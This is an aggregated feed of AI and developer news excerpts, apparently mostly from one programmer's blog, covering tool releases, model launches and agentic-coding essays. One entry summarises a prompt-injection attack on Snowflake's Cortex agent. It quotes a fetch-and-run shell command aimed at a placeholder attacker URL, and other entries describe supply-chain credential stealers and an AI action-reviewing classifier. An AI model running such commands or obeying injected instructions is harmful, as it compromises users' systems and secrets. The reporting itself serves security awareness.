AI Content Hub

Highlights from my conversation about agentic engineering on Lenny's Podcast

I was a guest on Lenny Rachitsky's podcast, in a new episode titled An AI state of the union: We've passed the inflection point, dark factories are coming, and automation timelines. It's available on YouTube, Spotify, and Apple Podcasts. Here are my highlights from our conversation, with relevant links. The November inflection point Software engineers as bellwethers for other information workers Writing code on my phone Responsible vibe coding Dark Factories and StrongDM The bot

llm-gemini 0.30

Release: llm-gemini 0.30 New models gemini-3.1-flash-lite-preview, gemma-4-26b-a4b-it and gemma-4-31b-it. See my notes on Gemma 4. Tags: gemini, llm, gemma

Gemma 4: Byte for byte, the most capable open models

Gemma 4: Byte for byte, the most capable open models Four new vision-capable Apache 2.0 licensed reasoning LLMs from Google DeepMind, sized at 2B, 4B, 31B, plus a 26B-A4B Mixture-of-Experts. Google emphasize "unprecedented level of intelligence-per-parameter", providing yet more evidence that creating small useful models is one of the hottest areas of research right now. They actually label the two smaller models as E2B and E4B for "Effective" parameter size. The system card explains: The small

March 2026 sponsors-only newsletter

I just sent the March edition of my sponsors-only monthly newsletter. If you are a sponsor (or if you start a sponsorship now) you can access it here. In this month's newsletter: More agentic engineering patterns Streaming experts with MoE models on a Mac Model releases in March Vibe porting Supply chain attacks against PyPI and NPM Stuff I shipped What I'm using, March 2026 edition And a couple of museums Here's a copy of the February newsletter as a preview of what you'll get. Pay $10/month

datasette-llm 0.1a6

Release: datasette-llm 0.1a6 The same model ID no longer needs to be repeated in both the default model and allowed models lists - setting it as a default model automatically adds it to the allowed models list. #6 Improved documentation for Python API usage. Tags: llm, datasette

datasette-enrichments-llm 0.2a1

Release: datasette-enrichments-llm 0.2a1 The actor who triggers an enrichment is now passed to the llm.mode(... actor=actor) method. #3 Tags: enrichments, llm, datasette

LiteLLM Hack: Were You One of the 47,000?

LiteLLM Hack: Were You One of the 47,000? Daniel Hnyk used the BigQuery PyPI dataset to determine how many downloads there were of the exploited LiteLLM packages during the 46 minute period they were live on PyPI. The answer was 46,996 across the two compromised release versions (1.82.7 and 1.82.8). They also identified 2,337 packages that depended on LiteLLM - 88% of which did not pin versions in a way that would have avoided the exploited version. Via @hnykda Tags: packaging, pypi,

Auto mode for Claude Code

Auto mode for Claude Code Really interesting new development in Claude Code today as an alternative to --dangerously-skip-permissions: Today, we're introducing auto mode, a new permissions mode in Claude Code where Claude makes permission decisions on your behalf, with safeguards monitoring actions before they run. Those safeguards appear to be implemented using Claude Sonnet 4.6, as described in the documentation: Before each action runs, a separate classifier model reviews the conversation

datasette-extract 0.3a0

Release: datasette-extract 0.3a0 Now uses datasette-llm to manage model configuration, which means you can control which models are available for extraction tasks using the extract purpose and LLM model configuration. #38 Tags: llm, datasette

datasette-enrichments-llm 0.2a0

Release: datasette-enrichments-llm 0.2a0 This plugin now uses datasette-llm to configure and manage models. This means it's possible to specify which models should be made available for enrichments, using the new enrichments purpose. Tags: llm, datasette

datasette-llm-usage 0.2a0

Release: datasette-llm-usage 0.2a0 Removed features relating to allowances and estimated pricing. These are now the domain of datasette-llm-accountant. Now depends on datasette-llm for model configuration. #3 Full prompts and responses and tool calls can now be logged to the llm_usage_prompt_log table in the internal database if you set the new datasette-llm-usage.log_prompts plugin configuration setting. Redesigned the /-/llm-usage-simple-prompt page, which now requires the llm-usage-simp

datasette-llm 0.1a5

Release: datasette-llm 0.1a5 The llm_prompt_context() plugin hook wrapper mechanism now tracks prompts executed within a chain as well as one-off prompts, which means it can be used to track tool call loops. #5 Tags: llm, datasette

Quoting Soohoon Choi

I want to argue that AI models will write good code because of economic incentives. Good code is cheaper to generate and maintain. Competition is high between the AI models right now, and the ones that win will help developers ship reliable features fastest, which requires simple, maintainable code. Good code will prevail, not only because we want it to (though we do!), but because economic forces demand it. Markets will not reward slop in coding, in the long-term. — Soohoon Choi, Slop Is

Package Managers Need to Cool Down

Package Managers Need to Cool Down Today's LiteLLM supply chain attack inspired me to revisit the idea of dependency cooldowns, the practice of only installing updated dependencies once they've been out in the wild for a few days to give the community a chance to spot if they've been subverted in some way. This recent piece (March 4th) piece by Andrew Nesbitt reviews the current state of dependency cooldown mechanisms across different packaging tools. It's surprisingly well supported! There's be

Quoting Christopher Mims

I really think "give AI total control of my computer and therefore my entire life" is going to look so foolish in retrospect that everyone who went for this is going to look as dumb as Jimmy Fallon holding up a picture of his Bored Ape — Christopher Mims, Technology columnist at The Wall Street Journal Tags: ai, security

Supply Chain Attack on Axios Pulls Malicious Dependency from npm

Supply Chain Attack on Axios Pulls Malicious Dependency from npm Useful writeup of today's supply chain attack against Axios, the HTTP client NPM package with 101 million weekly downloads. Versions 1.14.1 and 0.30.4 both included a new dependency called plain-crypto-js which was freshly published malware, stealing credentials and installing a remote access trojan (RAT). It looks like the attack came from a leaked long-lived npm token. Axios have an open issue to adopt trusted publishing, which w

datasette-llm 0.1a4

Release: datasette-llm 0.1a4 Ability to configure different API keys for models based on their purpose - for example, set it up so enrichments always use gpt-5.4-mini with an API key dedicated to that purpose. #4 I released llm-echo 0.3 to provide an API key testing utility I needed for the tests for this new feature. Tags: llm, datasette

llm-all-models-async 0.1

Release: llm-all-models-async 0.1 LLM plugins can define new models in both sync and async varieties. The async variants are most common for API-backed models - sync variants tend to be things that run the model directly within the plugin. My llm-mrchatterbox plugin is sync only. I wanted to try it out with various Datasette LLM features (specifically datasette-enrichments-llm) but Datasette can only use async models. So... I had Claude spin up this plugin that turns sync models into async m

llm 0.30

Release: llm 0.30 The register_models() plugin hook now takes an optional model_aliases parameter listing all of the models, async models and aliases that have been registered so far by other plugins. A plugin with @hookimpl(trylast=True) can use this to take previously registered models into account. #1389 Added docstrings to public classes and methods and included those directly in the documentation. Tags: llm

Malicious litellm_init.pth in litellm 1.82.8 — credential stealer

Malicious litellm_init.pth in litellm 1.82.8 — credential stealer The LiteLLM v1.82.8 package published to PyPI was compromised with a particularly nasty credential stealer hidden in base64 in a litellm_init.pth file, which means installing the package is enough to trigger it even without running import litellm. (1.82.7 had the exploit as well but it was in the proxy/proxy_server.py file so the package had to be imported for it to take effect.) This issue has a very detailed description of what

llm-echo 0.4

Release: llm-echo 0.4 Prompts now have the input_tokens and output_tokens fields populated on the response. Tags: llm

llm-echo 0.3

Release: llm-echo 0.3 Mechanisms for testing tool calls. #3 Mechanism for testing raw responses. #4 New echo-needs-key model for testing model key logic. #7 Tags: llm

Streaming experts

I wrote about Dan Woods' experiments with streaming experts the other day, the trick where you run larger Mixture-of-Experts models on hardware that doesn't have enough RAM to fit the entire model by instead streaming the necessary expert weights from SSD for each token that you process. Five days ago Dan was running Qwen3.5-397B-A17B in 48GB of RAM. Today @seikixtc reported running the colossal Kimi K2.5 - a 1 trillion parameter model with 32B active weights at any one time, in 96GB of RAM on a

Quoting Neurotica

slop is something that takes more human effort to consume than it took to produce. When my coworker sends me raw Gemini output he’s not expressing his freedom to create, he’s disrespecting the value of my time — Neurotica, @schwarzgerat.bsky.social Tags: ai-ethics, slop, generative-ai, ai, llms

datasette-files 0.1a2

Release: datasette-files 0.1a2 The most interesting alpha of datasette-files yet, a new plugin which adds the ability to upload files directly into a Datasette instance. Here are the release notes in full: Columns are now configured using the new column_types system from Datasette 1.0a26. #8 New file_actions plugin hook, plus ability to import an uploaded CSV/TSV file to a table. #10 UI for uploading multiple files at once via the new documented JSON upload API. #11 Thumbnails are now gene

datasette-files 0.1a3

Release: datasette-files 0.1a3 I'm working on integrating datasette-files into other plugins, such as datasette-extract. This necessitated a new release of the base plugin. owners_can_edit and owners_can_delete configuration options, plus the files-edit and files-delete actions are now scoped to a new FileResource which is a child of FileSourceResource. #18 The file picker UI is now available as a <datasette-file-picker> Web Component. Thanks, Alex Garcia. #19 New from datasette_file

Quoting David Abram

I have been doing this for years, and the hardest parts of the job were never about typing out code. I have always struggled most with understanding systems, debugging things that made no sense, designing architectures that wouldn't collapse under heavy load, and making decisions that would save months of pain later. None of these problems can be solved LLMs. They can suggest code, help with boilerplate, sometimes can act as a sounding board. But they don't understand the system, they don't carr

Quoting Georgi Gerganov

Note that the main issues that people currently unknowingly face with local models mostly revolve around the harness and some intricacies around model chat templates and prompt construction. Sometimes there are even pure inference bugs. From typing the task in the client to the actual result, there is a long chain of components that atm are not only fragile - are also developed by different parties. So it's difficult to consolidate the entire stack and you have to keep in mind that what you are

datasette-llm 0.1a3

Release: datasette-llm 0.1a3 Adds the ability to configure which LLMs are available for which purpose, which means you can restrict the list of models that can be used with a specific plugin. #3 Tags: llm, datasette

Mr. Chatterbox is a (weak) Victorian-era ethically trained model you can run on your own computer

Trip Venturella released Mr. Chatterbox, a language model trained entirely on out-of-copyright text from the British Library. Here's how he describes it in the model card: Mr. Chatterbox is a language model trained entirely from scratch on a corpus of over 28,000 Victorian-era British texts published between 1837 and 1899, drawn from a dataset made available by the British Library. The model has absolutely no training inputs from after 1899 — the vocabulary and ideas are formed exclusively from

Beats now have notes

Last month I added a feature I call beats to this blog, pulling in some of my other content from external sources and including it on the homepage, search and various archive pages on the site. On any given day these frequently outnumber my regular posts. They were looking a little bit thin and were lacking any form of explanation beyond a link, so I've added the ability to annotate them with a "note" which now shows up as part of their display. Here's what that looks like for the content I publ

Starlette 1.0 skill

Research: Starlette 1.0 skill See Experimenting with Starlette 1.0 with Claude skills. Tags: starlette

Experimenting with Starlette 1.0 with Claude skills

Starlette 1.0 is out! This is a really big deal. I think Starlette may be the Python framework with the most usage compared to its relatively low brand recognition because Starlette is the foundation of FastAPI, which has attracted a huge amount of buzz that seems to have overshadowed Starlette itself. Kim Christie started working on Starlette in 2018 and it quickly became my favorite out of the new breed of Python ASGI frameworks. The only reason I didn't use it as the basis for my own Datasett

PCGamer Article Performance Audit

Research: PCGamer Article Performance Audit Stuart Breckenridge pointed out that PC Gamer Recommends RSS Readers in a 37MB Article That Just Keeps Downloading, highlighting a truly horrifying example of web bloat that added up to 100s more MBs thanks to auto-playing video ads. I decided to have Claude Code for web use Rodney to investigate the page - prompt here. Tags: web-performance, rodney

llm-mrchatterbox 0.1

Release: llm-mrchatterbox 0.1 See Mr. Chatterbox is a (weak) Victorian-era ethically trained model you can run on your own computer. Tags: llm

JavaScript Sandboxing Research

Research: JavaScript Sandboxing Research Aaron Harper wrote about Node.js worker threads, which inspired me to run a research task to see if they might help with running JavaScript in a sandbox. Claude Code went way beyond my initial question and produced a comparison of isolated-vm, vm2, quickjs-emscripten, QuickJS-NG, ShadowRealm, and Deno Workers. Tags: sandboxing, javascript, nodejs, claude-code

DNS Lookup

Tool: DNS Lookup TIL that Cloudflare's 1.1.1.1 DNS service (and 1.1.1.2 and 1.1.1.3, which block malware and malware + adult content respectively) has a CORS-enabled JSON API, so I had Claude Code build me a UI for running DNS queries against all three of those resolvers. Tags: dns, cors, cloudflare

Merge State Visualizer

Tool: Merge State Visualizer Bram Cohen wrote about his coherent vision for the future of version control using CRDTs, illustrated by 470 lines of Python. I fed that Python (minus comments) into Claude and asked for an explanation, then had it use Pyodide to build me an interactive UI for seeing how the algorithms work. Tags: vcs, pyodide, bram-cohen, crdt

Pretext

Pretext Exciting new browser library from Cheng Lou, previously a React core developer and the original creator of the react-motion animation library. Pretext solves the problem of calculating the height of a paragraph of line-wrapped text without touching the DOM. The usual way of doing this is to render the text and measure its dimensions, but this is extremely expensive. Pretext uses an array of clever tricks to make this much, much faster, which enables all sorts of new text rendering effect

Pretext — Under the Hood

Tool: Pretext — Under the Hood See my notes on Pretext here.

Python Vulnerability Lookup

Tool: Python Vulnerability Lookup I learned that the OSV.dev open source vulnerability database has an open CORS JSON API, so I had Claude Code build this HTML tool for pasting in a pyproject.toml or requirements.txt file (or name of a GitHub repo containing those) and seeing a list of all reported vulnerabilities from that API. Tags: tools, python, supply-chain, vibe-coding, security

Profiling Hacker News users based on their comments

Here's a mildly dystopian prompt I've been experimenting with recently: "Profile this user", accompanied by a copy of their last 1,000 comments on Hacker News. Obtaining those comments is easy. The Algolia Hacker News API supports listing comments sorted by date that have a specific tag, and the author of a comment is tagged there as author_username. Here's a JSON feed of my (simonw) most recent comments, for example: https://hn.algolia.com/api/v1/search_by_date?tags=comment,author_simonw&hi

Using Git with coding agents

Agentic Engineering Patterns > Git is a key tool for working with coding agents. Keeping code in version control lets us record how that code changes over time and investigate and reverse any mistakes. All of the coding agents are fluent in using Git's features, both basic and advanced. This fluency means we can be more ambitious about how we use Git ourselves. We don't need to memorize how to do things with Git, but staying aware of what's possible means we can take advantage of the ful

Quoting Matt Webb

The thing about agentic coding is that agents grind problems into dust. Give an agent a problem and a while loop and - long term - it’ll solve that problem even if it means burning a trillion tokens and re-writing down to the silicon. [...] But we want AI agents to solve coding problems quickly and in a way that is maintainable and adaptive and composable (benefiting from improvements elsewhere), and where every addition makes the whole stack better. So at the bottom is really great libraries th

Turbo Pascal 3.02A, deconstructed

Turbo Pascal 3.02A, deconstructed In Things That Turbo Pascal is Smaller Than James Hague lists things (from 2011) that are larger in size than Borland's 1985 Turbo Pascal 3.02 executable - a 39,731 byte file that somehow included a full text editor IDE and Pascal compiler. This inspired me to track down a copy of that executable (available as freeware since 2000) and see if Claude could interpret the binary and decompile it for me. It did a great job, so I had it create this interactive artifac

Quoting Kimi.ai @Kimi_Moonshot

Congrats to the @cursor_ai team on the launch of Composer 2! We are proud to see Kimi-k2.5 provide the foundation. Seeing our model integrated effectively through Cursor's continued pretraining & high-compute RL training is the open model ecosystem we love to support. Note: Cursor accesses Kimi-k2.5 via @FireworksAI_HQ hosted RL and inference platform as part of an authorized commercial partnership. — Kimi.ai @Kimi_Moonshot, responding to reports that Composer 2 was built on top of Kim

datasette-showboat 0.1a2

Release: datasette-showboat 0.1a2 I added an option to export a Markdown file from my app that lets Showboat incrementally publish updates to a remote server.

Quoting Richard Fontana

FWIW, IANDBL, TINLA, etc., I don’t currently see any basis for concluding that chardet 7.0.0 is required to be released under the LGPL. AFAIK no one including Mark Pilgrim has identified persistence of copyrightable expressive material from earlier versions in 7.0.0 nor has anyone articulated some viable alternate theory of license violation. [...] — Richard Fontana, LGPLv3 co-author, weighing in on the chardet relicensing situation Tags: open-source, ai-ethics, llms, ai, generative-a

Vibe coding SwiftUI apps is a lot of fun

I have a new laptop - a 128GB M5 MacBook Pro, which early impressions show to be very capable for running good local LLMs. I got frustrated with Activity Monitor and decided to vibe code up some alternative tools for monitoring performance and I'm very happy with the results. This is my second experiment with vibe coding macOS apps - the first was this presentation app a few weeks ago. It turns out Claude Opus 4.6 and GPT-5.4 are both very competent at SwiftUI - and a full SwiftUI app can fit in

My minute-by-minute response to the LiteLLM malware attack

My minute-by-minute response to the LiteLLM malware attack Callum McMahon reported the LiteLLM malware attack to PyPI. Here he shares the Claude transcripts he used to help him confirm the vulnerability and decide what to do about it. Claude even suggested the PyPI security contact address after confirming the malicious code in a Docker container: Confirmed. Fresh download from PyPI right now in an isolated Docker container: Inspecting: litellm-1.82.8-py3-none-any.whl FOUND: litellm_init.pth SI

Thoughts on slowing the fuck down

Thoughts on slowing the fuck down Mario Zechner created the Pi agent framework used by OpenClaw, giving considerable credibility to his opinions on current trends in agentic engineering. He's not impressed: We have basically given up all discipline and agency for a sort of addiction, where your highest goal is to produce the largest amount of code in the shortest amount of time. Consequences be damned. Agents and humans both make mistakes, but agent mistakes accumulate much faster: A human is

datasette-llm 0.1a1

Release: datasette-llm 0.1a1 New release of the base plugin that makes models from LLM available for use by other Datasette plugins such as datasette-enrichments-llm. New register_llm_purposes() plugin hook and get_purposes() function for retrieving registered purpose strings. #1 One of the responsibilities of this plugin is to configure which models are used for which purposes, so you can say in one place "data enrichment uses GPT-5.4-nano but SQL query assistance happens using Sonnet 4

Quantization from the ground up

Quantization from the ground up Sam Rose continues his streak of publishing spectacularly informative interactive essays, this time explaining how quantization of Large Language Models works (which he says might be "the best post I've ever made".) Also included is the best visual explanation I've ever seen of how floating point numbers are represented using binary digits. I hadn't heard about outlier values in quantization - rare float values that exist outside of the normal tiny-value distribu

SQLite Tags Benchmark: Comparing 5 Tagging Strategies

Research: SQLite Tags Benchmark: Comparing 5 Tagging Strategies I had Claude Code run a micro-benchmark comparing different approaches to implementing tagging in SQLite. Traditional many-to-many tables won, but FTS5 came a close second. Full table scans with LIKE queries performed better than I expected, but full table scans with JSON arrays and json_each() were much slower. Tags: json, sqlite

[AINews] Gemma 4: The best small Multimodal Open Models, dramatically better than Gemma 3 in every way

A welcome update from Google!

datasette-llm 0.1a2

Release: datasette-llm 0.1a2 actor is now available to the llm_prompt_context plugin hook. #2 Tags: llm, datasette

datasette-files-s3 0.1a1

Release: datasette-files-s3 0.1a1 A backend for datasette-files that adds the ability to store and retrieve files using an S3 bucket. This release added a mechanism for fetching S3 configuration periodically from a URL, which means we can use time limited IAM credentials that are restricted to a prefix within a bucket. Tags: s3, datasette

Coding agents for data analysis

Coding agents for data analysis Here's the handout I prepared for my NICAR 2026 workshop "Coding agents for data analysis" - a three hour session aimed at data journalists demonstrating ways that tools like Claude Code and OpenAI Codex can be used to explore, analyze and clean data. Here's the table of contents: Coding agents Warmup: ChatGPT and Claude Setup Claude Code and Codex Asking questions against a database Exploring data with agents Cleaning data: decoding neighborhood codes Creating

We Rewrote JSONata with AI in a Day, Saved $500K/Year

We Rewrote JSONata with AI in a Day, Saved $500K/Year Bit of a hyperbolic framing but this looks like another case study of vibe porting, this time spinning up a new custom Go implementation of the JSONata JSON expression language - similar in focus to jq, and heavily associated with the Node-RED platform. As with other vibe-porting projects the key enabling factor was JSONata's existing test suite, which helped build the first working Go version in 7 hours and $400 of token spend. The Reco team

Thoughts on OpenAI acquiring Astral and uv/ruff/ty

The big news this morning: Astral to join OpenAI (on the Astral blog) and OpenAI to acquire Astral (the OpenAI announcement). Astral are the company behind uv, ruff, and ty - three increasingly load-bearing open source projects in the Python ecosystem. I have thoughts! The official line from OpenAI and Astral The Astral team will become part of the Codex team at OpenAI. Charlie Marsh has this to say: Open source is at the heart of that impact and the heart of that story; it sits at the center o

How coding agents work

Agentic Engineering Patterns > As with any tool, understanding how coding agents work under the hood can help you make better decisions about how to apply them. A coding agent is a piece of software that acts as a harness for an LLM, extending that LLM with additional capabilities that are powered by invisible prompts and implemented as callable tools. Large Language Models At the heart of any coding agent is a Large Language Model, or LLM. These have names like GPT-5.4 or Claude Opus 4.6

John M. Mossman Lock Collection

Museum: John M. Mossman Lock Collection The General Society of Mechanics and Tradesmen of the City of New York is home to the John M. Mossman Lock Collection, likely the world's largest collection of antique bank locks. Tags: museums

What is agentic engineering?

Agentic Engineering Patterns > I use the term agentic engineering to describe the practice of developing software with the assistance of coding agents. What are coding agents? They're agents that can both write and execute code. Popular examples include Claude Code, OpenAI Codex, and Gemini CLI. What's an agent? Clearly defining that term is a challenge that has frustrated AI researchers since at least the 1990s but the definition I've come to accept, at least in the field of Large Langua

Use subagents and custom agents in Codex

Use subagents and custom agents in Codex Subagents were announced in general availability today for OpenAI Codex, after several weeks of preview behind a feature flag. They're very similar to the Claude Code implementation, with default subagents for "explorer", "worker" and "default". It's unclear to me what the difference between "worker" and "default" is but based on their CSV example I think "worker" is intended for running large numbers of small tasks in parallel. Codex also lets you define

Quoting A member of Anthropic’s alignment-science team

The point of the blackmail exercise was to have something to describe to policymakers—results that are visceral enough to land with people, and make misalignment risk actually salient in practice for people who had never thought about it before. — A member of Anthropic’s alignment-science team, as told to Gideon Lewis-Kraus Tags: ai-ethics, anthropic, claude, generative-ai, ai, llms

Quoting Guilherme Rambo

Tidbit: the software-based camera indicator light in the MacBook Neo runs in the secure exclave¹ part of the chip, so it is almost as secure as the hardware indicator light. What that means in practice is that even a kernel-level exploit would not be able to turn on the camera without the light appearing on screen. It runs in a privileged environment separate from the kernel and blits the light directly onto the screen hardware. — Guilherme Rambo, in a text message to John Gruber Tags

Moonlake: Causal World Models should be Multimodal, Interactive, and Efficient — with Chris Manning and Fan-yun Sun

We cap out our World Models coverage with one of the most exciting new approaches - long running, multiplayer, interactive world models built with agents bootstrapped from game engines!

llm 0.29

Release: llm 0.29 Adds support for OpenAI's new models gpt-5.4, gpt-5.4-mini, and gpt-5.4-nano.

Snowflake Cortex AI Escapes Sandbox and Executes Malware

Snowflake Cortex AI Escapes Sandbox and Executes Malware PromptArmor report on a prompt injection attack chain in Snowflake's Cortex Agent, now fixed. The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README. The attack caused the agent to execute this code: cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)) Cortex listed cat commands as safe to run without human approval, withou

Quoting Tim Schilling

If you do not understand the ticket, if you do not understand the solution, or if you do not understand the feedback on your PR, then your use of LLM is hurting Django as a whole. [...] For a reviewer, it’s demoralizing to communicate with a facade of a human. This is because contributing to open source, especially Django, is a communal endeavor. Removing your humanity from that experience makes that endeavor more difficult. If you use an LLM to contribute to Django, it needs to be as a compleme

Autoresearching Apple's "LLM in a Flash" to run Qwen 397B locally

Autoresearching Apple's "LLM in a Flash" to run Qwen 397B locally Here's a fascinating piece of research by Dan Woods, who managed to get a custom version of Qwen3.5-397B-A17B running at 5.5+ tokens/second on a 48GB MacBook Pro M3 Max despite that model taking up 209GB (120GB quantized) on disk. Qwen3.5-397B-A17B is a Mixture-of-Experts (MoE) model, which means that each token only needs to run against a subset of the overall model weights. These expert weights can be streamed int

datasette 1.0a26

Release: datasette 1.0a26 Datasette now has a mechanism for assigning semantic column types. Built-in column types include url, email, and json, and plugins can register additional types using the new register_column_types() plugin hook.

OpenAI acquires TBPN

OpenAI acquires TBPN to accelerate global conversations around AI and support independent media, expanding dialogue with builders, businesses, and the broader tech community.

Subagents

Agentic Engineering Patterns > LLMs are restricted by their context limit - how many tokens they can fit in their working memory at any given time. These values have not increased much over the past two years even as the LLMs themselves have seen dramatic improvements in their abilities - they generally top out at around 1,000,000, and benchmarks frequently report better quality results below 200,000. Carefully managing the context such that it fits within those limits is critical to gett

Codex now offers more flexible pricing for teams

Codex now includes pay-as-you-go pricing for ChatGPT Business and Enterprise, providing teams a more flexible option to start and scale adoption.

My fireside chat about agentic engineering at the Pragmatic Summit

I was a speaker last month at the Pragmatic Summit in San Francisco, where I participated in a fireside chat session about Agentic Engineering hosted by Eric Lui from Statsig. The video is available on YouTube. Here are my highlights from the conversation. Stages of AI adoption We started by talking about the different phases a software developer goes through in adopting AI coding tools. 02:45 I feel like there are different stages of AI adoption as a programmer. You start off with you'v

[AINews] A quiet April Fools

a quiet day

Introducing Mistral Small 4

Introducing Mistral Small 4 Big new release from Mistral today (despite the name) - a new Apache 2 licensed 119B parameter (Mixture-of-Experts, 6B active) model which they describe like this: Mistral Small 4 is the first Mistral model to unify the capabilities of our flagship models, Magistral for reasoning, Pixtral for multimodal, and Devstral for agentic coding, into a single, versatile model. It supports reasoning_effort="none" or reasoning_effort="high", with the latter providing "equivale

Quoting Jannis Leidel

GitHub’s slopocalypse – the flood of AI-generated spam PRs and issues – has made Jazzband’s model of open membership and shared push access untenable. Jazzband was designed for a world where the worst case was someone accidentally merging the wrong PR. In a world where only 1 in 10 AI-generated PRs meets project standards, where curl had to shut down its bug bounty because confirmation rates dropped below 5%, and where GitHub’s own response was a kill switch to disable pull requests entirely – a

GPT-5.4 mini and GPT-5.4 nano, which can describe 76,000 photos for $52

OpenAI today: Introducing GPT‑5.4 mini and nano. These models join GPT-5.4 which was released two weeks ago. OpenAI's self-reported benchmarks show the new 5.4-nano out-performing their previous GPT-5 mini model when run at maximum reasoning effort. The new mini is also 2x faster than the previous mini. Here's how the pricing looks - all prices are per million tokens. gpt-5.4-nano is notably even cheaper than Google's Gemini 3.1 Flash-Lite: Model Input Cached input

Welcome Gemma 4: Frontier multimodal intelligence on device

Quoting Ken Jin

Great news—we’ve hit our (very modest) performance goals for the CPython JIT over a year early for macOS AArch64, and a few months early for x86_64 Linux. The 3.15 alpha JIT is about 11-12% faster on macOS AArch64 than the tail calling interpreter, and 5-6%faster than the standard interpreter on x86_64 Linux. — Ken Jin, Python 3.15’s JIT is now back on track Tags: python

1M context is now generally available for Opus 4.6 and Sonnet 4.6

1M context is now generally available for Opus 4.6 and Sonnet 4.6 Here's what surprised me: Standard pricing now applies across the full 1M window for both models, with no long-context premium. OpenAI and Gemini both charge more for prompts where the token count goes above a certain point - 200,000 for Gemini 3.1 Pro and 272,000 for GPT-5.4. Tags: ai, generative-ai, llms, anthropic, claude, llm-pricing, long-context

Quoting Craig Mod

Simply put: It’s a big mess, and no off-the-shelf accounting software does what I need. So after years of pain, I finally sat down last week and started to build my own. It took me about five days. I am now using the best piece of accounting software I’ve ever used. It’s blazing fast. Entirely local. Handles multiple currencies and pulls daily (historical) conversion rates. It’s able to ingest any CSV I throw at it and represent it in my dashboard as needed. It knows US and Japan tax requirement

Holo3: Breaking the Computer Use Frontier

Shopify/liquid: Performance: 53% faster parse+render, 61% fewer allocations

Shopify/liquid: Performance: 53% faster parse+render, 61% fewer allocations PR from Shopify CEO Tobias Lütke against Liquid, Shopify's open source Ruby template engine that was somewhat inspired by Django when Tobi first created it back in 2005. Tobi found dozens of new performance micro-optimizations using a variant of autoresearch, Andrej Karpathy's new system for having a coding agent run hundreds of semi-autonomous experiments to find new effective techniques for training nanochat. Tobi's im

Falcon Perception

[AINews] The Claude Code Source Leak

The accidental "open sourcing" of Claude Code brings a ton of insights.

MALUS - Clean Room as a Service

MALUS - Clean Room as a Service Brutal satire on the whole vibe-porting license washing thing (previously): Finally, liberation from open source license obligations. Our proprietary AI robots independently recreate any open source project from scratch. The result? Legally distinct code with corporate-friendly licensing. No attribution. No copyleft. No problems.. I admit it took me a moment to confirm that this was a joke. Just too on-the-nose. Via Hacker News Tags: open-source, ai,

Coding After Coders: The End of Computer Programming as We Know It

Coding After Coders: The End of Computer Programming as We Know It Epic piece on AI-assisted development by Clive Thompson for the New York Times Magazine, who spoke to more than 70 software developers from companies like Google, Amazon, Microsoft, Apple, plus other individuals including Anil Dash, Thomas Ptacek, Steve Yegge, and myself. I think the piece accurately and clearly captures what's going on in our industry right now in terms appropriate for a wider audience. I talked to Clive a few w

Quoting Les Orchard

Here's what I think is happening: AI-assisted coding is exposing a divide among developers that was always there but maybe less visible. Before AI, both camps were doing the same thing every day. Writing code by hand. Using the same editors, the same languages, the same pull request workflows. The craft-lovers and the make-it-go people sat next to each other, shipped the same products, looked indistinguishable. The motivation behind the work was invisible because the process was identical. Now t

Gradient Labs gives every bank customer an AI account manager

Gradient Labs uses GPT-4.1 and GPT-5.4 mini and nano to power AI agents that automate banking support workflows with low latency and high reliability.

Granite 4.0 3B Vision: Compact Multimodal Intelligence for Enterprise Documents

Sorting algorithms

Sorting algorithms Today in animated explanations built using Claude: I've always been a fan of animated demonstrations of sorting algorithms so I decided to spin some up on my phone using Claude Artifacts, then added Python's timsort algorithm, then a feature to run them all at once. Here's the full sequence of prompts: Interactive animated demos of the most common sorting algorithms This gave me bubble sort, selection sort, insertion sort, merge sort, quick sort, and heap sort. Add timsort,

Accelerating the next phase of AI

OpenAI raises $122 billion in new funding to expand frontier AI globally, invest in next-generation compute, and meet growing demand for ChatGPT, Codex, and enterprise AI.

Quoting John Carmack

It is hard for less experienced developers to appreciate how rarely architecting for future requirements / applications turns out net-positive. — John Carmack, a tweet in June 2021 Tags: john-carmack, software-engineering, yagni

[AINews] The Last 4 Jobs in Tech

a quiet day lets us examine an interesting mental model

A Visual Guide to Attention Variants in Modern LLMs

From MHA and GQA to MLA, sparse attention, and hybrid architectures

TRL v1.0: Post-Training Library Built to Move with the Field

AI should help us produce better code

Agentic Engineering Patterns > Many developers worry that outsourcing their code to AI tools will result in a drop in quality, producing bad code that's churned out fast enough that decision makers are willing to overlook its flaws. If adopting coding agents demonstrably reduces the quality of the code and features you are producing, you should address that problem directly: figure out which aspects of your process are hurting the quality of your output and fix them. Shipping worse code w

Mistral: Voxtral TTS, Forge, Leanstral, & what's next for Mistral 4 — w/ Pavan Kumar Reddy & Guillaume Lample

Mistral is one of the world's leading frontier model labs, and has just launched Voxtral TTS, their latest step in their strategy to offer open frontier intelligence for every modality.

Production query plans without production data

Production query plans without production data Radim Marek describes the new pg_restore_relation_stats() and pg_restore_attribute_stats() functions that were introduced in PostgreSQL 18 in September 2025. The PostgreSQL query planner makes use of internal statistics to help it decide how to best execute a query. These statistics often differ between production data and development environments, which means the query plans used in production may not be replicable in development. PostgreSQL's new

Helping disaster response teams turn AI into action across Asia

AI for Disaster Response in Asia: OpenAI Workshop with Gates Foundation

[AINews] H100 prices are melting *UP*

a quiet day lets us report an important GPU trend

STADLER reshapes knowledge work at a 230-year-old company

Learn how STADLER uses ChatGPT to transform knowledge work, saving time and accelerating productivity across 650 employees.

What's New in Mellea 0.4.0 + Granite Libraries Release

Step by Step Guide to Build an End-to-End Model Optimization Pipeline with NVIDIA Model Optimizer Using FastNAS Pruning and Fine-Tuning

In this tutorial, we build a complete end-to-end pipeline using NVIDIA Model Optimizer to train, prune, and fine-tune a deep learning model directly in Google Colab. We start by setting up the environment and preparing the CIFAR-10 dataset, then define a ResNet architecture and train it to establish a strong baseline. From there, we apply […] The post Step by Step Guide to Build an End-to-End Model Optimization Pipeline with NVIDIA Model Optimizer Using FastNAS Pruning and Fine-Tuning appe

Google Releases Gemini 3.1 Flash Live: A Real-Time Multimodal Voice Model for Low-Latency Audio, Video, and Tool Use for AI Agents

Google has released Gemini 3.1 Flash Live in preview for developers through the Gemini Live API in Google AI Studio. This model targets low-latency, more natural, and more reliable real-time voice interactions, serving as Google’s ‘highest-quality audio and speech model to date.’ By natively processing multimodal streams, the release provides a technical foundation for building […] The post Google Releases Gemini 3.1 Flash Live: A Real-Time Multimodal Voice Model for Low-Latenc

Anthropic wins injunction against Trump administration over Defense Department saga

A federal judge has ordered that the Trump administration rescind recent restrictions it placed on the AI company.

